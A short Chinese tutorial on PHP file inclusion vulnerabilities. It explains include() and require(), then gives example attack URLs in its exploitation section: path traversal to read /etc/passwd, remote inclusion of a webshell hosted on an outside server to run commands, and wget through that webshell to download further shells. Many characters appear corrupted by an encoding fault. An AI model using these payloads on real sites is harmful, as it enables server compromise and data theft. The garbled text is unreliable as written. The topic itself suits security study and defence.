1.原理
服務(wù)器通過php特性(函數(shù))去包含任意文件時候,由于未對文件來源進行過濾,從而造成包含一個攻擊者惡意構(gòu)造的文件,造成威脅。
php中有四個函數(shù)可用于文件包含,分別是include(),require()和include_once(),require_once()。
include()函數(shù)可包含文件,當包含外部文件發(fā)生錯誤時,系統(tǒng)會給出警告,但文件會繼續(xù)執(zhí)行。
require()函數(shù)可包含文件,當包含外部文件發(fā)生錯誤時,系統(tǒng)會給出警告,但文件會停止執(zhí)行。
Include_once:這個函數(shù)跟include函數(shù)作用幾乎相同,只是他在導(dǎo)入函數(shù)之前先檢測下該文件是否被導(dǎo)入。如果已經(jīng)執(zhí)行一遍那么就不重復(fù)執(zhí)行了。
Require_once:這個函數(shù)跟require的區(qū)別 跟上面我所講的include和include_once是一樣的。所以我就不重復(fù)了。
2.為什么要包含文件
因為程序員不想重復(fù)寫同樣的代碼,也不想代碼復(fù)制多遍,通過包含的方法就可以直接使用里面的代碼不需要再進行其他操作,所以大量地解放生產(chǎn)力。
3.如何利用
A:包含讀出其他的文件
利用應(yīng)用程序?qū)ξ募幍膮?shù)過濾不嚴的漏洞,讀取其他文件,例如指定URL為:http://hi.baidu.com/m4r10/php/index.php?page=./txt,這樣可以直接讀出該路徑下面所有的txt文件,你可以用這種方法探查某文件存在與否,如果該地方參數(shù)未對../進行過濾的話,那你可以利用../來跳出當前路徑,如果他的權(quán)限比較高的話,那你甚至可以進行輸入絕對路徑試一下,例如http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd。
B:遠程文件包含可運行的PHP木馬
如果目標主機的"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行,例如http://hi.baidu.com/m4r10/php/index.php?page= http://www.xxx.cn/cmd.txt?cmd=ls,cmd.txt為小馬,可執(zhí)行cmd命令,cmd=為接受命令參數(shù)。
C:包含一個創(chuàng)建文件的PHP文件
這種方法可有兩種手段
1.通過wget方法來下載一個webshell
例如http://hi.baidu.com/m4r10/php/index.php?page= http://www.xxx.cn/cmd.txt?cmd=wget .........
2.直接創(chuàng)建一個新文件
如果主機禁用了wget這個命令或者當前目錄禁止寫操作,那就使用一個可以創(chuàng)建文件的腳本,找一個可以創(chuàng)建文件的目錄進行創(chuàng)建。